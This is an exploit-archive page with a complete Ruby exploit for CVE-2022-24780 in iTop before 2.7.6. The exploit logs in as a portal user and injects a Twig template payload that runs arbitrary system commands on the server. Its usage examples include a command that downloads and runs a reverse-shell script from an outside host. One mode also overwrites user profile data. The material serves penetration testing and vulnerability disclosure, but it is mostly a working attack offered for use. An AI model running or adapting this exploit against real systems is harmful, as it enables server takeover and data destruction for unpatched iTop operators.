iTop Remote Command Execution

2022.05.24
Credit: Markus Krell
Risk: High
Local: No
Remote: Yes

#!/usr/bin/env ruby # Exploit ## Title: iTop < 2.7.6 - (Authenticated) Remote command execution ## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr) ## Author website: https://pwn.by/noraj/ ## Exploit source: https://github.com/Acceis/exploit-CVE-2022-24780 ## Date: 2022-05-20 ## Vendor Homepage: https://www.combodo.com/itop ## Software Link: https://github.com/Combodo/iTop/archive/refs/tags/2.7.5.tar.gz ## Version: 2.x < 2.7.6 and 3.x.x-beta < 3.0.0 ## Tested on: iTop version 2.7.4 (Ubuntu 18.04.4 LTS - 7.3.28) # Vulnerability ## Discoverer: Markus KRELL ## Date: 2021-10-04 ## Discoverer website: https://markus-krell.de/ ## Discovered on iTop 2.7.4-7194 and 3.0.0-beta-7312 ## Title: Server-Side Template Injection inside customer Portal ## CVE: CVE-2022-24780 ## CWE: CWE-94, CWE-1336 ## Patch: ## - https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b ## - https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305 ## - https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3 ## References: ## - https://nvd.nist.gov/vuln/detail/CVE-2022-24780 ## - https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54 ## - https://markus-krell.de/itop-template-injection-inside-customer-portal/ require 'httpx' require 'docopt' require 'nokogiri' doc = <<~DOCOPT iTop < 2.7.6 - (Authenticated) Remote command execution Usage: #{__FILE__} full <url> <username> <password> <cmd> [--debug] #{__FILE__} light <url> <username> <password> <cmd> [--debug] #{__FILE__} -h | --help full: exploit with an emulated browser, execute JavaScript, preserve original user profile information light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function Options: <url> Root URL (base path) including HTTP scheme, port and root folder <username> iTop portal username <password> iTop portal user password <cmd> Command to execute on the target --debug Display arguments -h, --help Show this screen Examples: #{__FILE__} full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt' #{__FILE__} light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl' DOCOPT def login(root_url, user, pass, http) login_url = "#{root_url}/pages/UI.php" params = { 'auth_user' => user, 'auth_pwd' => pass, 'login_mode' => 'form', 'loginop' => 'login' } http.post(login_url, form: params).body.to_s end def login_watir(root_url, user, pass, browser) login_url = "#{root_url}/pages/UI.php" browser.goto login_url browser.text_field(id: 'user').set(user) browser.text_field(id: 'pwd').set(pass) browser.button(value: 'Enter iTop').click end def fetch_form(root_url, http) profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal" # Fetch and parse HTML document doc = Nokogiri.HTML5(http.get(profile_url).body.to_s) action = doc.css('form').first['action'] transaction_id = doc.css('input[name="transaction_id"]').first['value'] form_id = doc.css('form').first['id'] # doesn't work because it's populated with javascript, we'll need watir for that #phone = doc.css('input[id^=field_phone]').first['value'] #location = doc.css('select[id^=field_location_id] option[selected]').first['value'] #function = doc.css('input[id^=field_function]').first['value'] return {action: action, tid: transaction_id, fid: form_id} end def exploit(root_url, cmd, http, browser) form_data = fetch_form(root_url, http) vuln_url = "#{root_url}#{form_data[:action]}" user_info = browser.nil? ? {phone: '', location: '', function: ''} : fetch_form_js(root_url, browser) params = { 'operation' => 'submit', 'stimulus_code' => '', 'transaction_id' => form_data[:tid], # source data already escapes backslashes and double quotes for JSON # so \ -> \\ and " -> \" # but we need to esacpe backslash once for Ruby too because we need an interpolated string # so \ -> \\ -> \\\\ and " -> \\" 'formmanager_class' => 'Combodo\iTop\Portal\Form\ObjectFormManager', 'formmanager_data' => %Q^{"id":"#{form_data[:fid]}","transaction_id":"#{form_data[:tid]}","formmanager_class":"Combodo\\\\iTop\\\\Portal\\\\Form\\\\ObjectFormManager","formrenderer_class":"Combodo\\\\iTop\\\\Renderer\\\\Bootstrap\\\\BsFormRenderer","formrenderer_endpoint":"#{form_data[:action]}","formobject_class":"Person","formobject_id":"1","formmode":"edit","formactionrulestoken":"","formproperties":{"id":"default-user-profile","type":"custom_list","fields":[],"layout":{"type":"twig","content":"<!-- data-field-id attribute must be an attribute code of the class --><!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change --><div class=\\"form_field\\" data-field-id=\\"first_name{{['#{cmd}']|filter('system')}}\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"name\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"org_id\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"email\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"phone\\"></div><div class=\\"form_field\\" data-field-id=\\"location_id\\"></div><div class=\\"form_field\\" data-field-id=\\"function\\"></div><div class=\\"form_field\\" data-field-id=\\"manager_id\\" data-field-flags=\\"read_only\\"></div>"}}}^, 'current_values[phone]' => user_info[:phone], 'current_values[location_id]' => user_info[:location], 'current_values[function]' => user_info[:function] } http.post(vuln_url, form: params).body.to_s end def fetch_form_js(root_url, browser) # those values can't be fetched with nokogiri alone sicne they are populated using javascript profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal" browser.goto profile_url phone = browser.text_field(name: 'phone').value location = browser.select(name: 'location_id').selected_options.first.value function = browser.text_field(name: 'function').value return {phone: phone, location: location, function: function} end begin args = Docopt.docopt(doc) pp args if args['--debug'] http = HTTPX.plugin(:cookies) login(args['<url>'], args['<username>'], args['<password>'], http) if args['full'] require 'watir' require 'webdrivers' b = Watir::Browser.new :firefox login_watir(args['<url>'], args['<username>'], args['<password>'], b) elsif args['light'] b = nil end exploit(args['<url>'], args['<cmd>'], http, b) rescue Docopt::Exit => e puts e.message end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top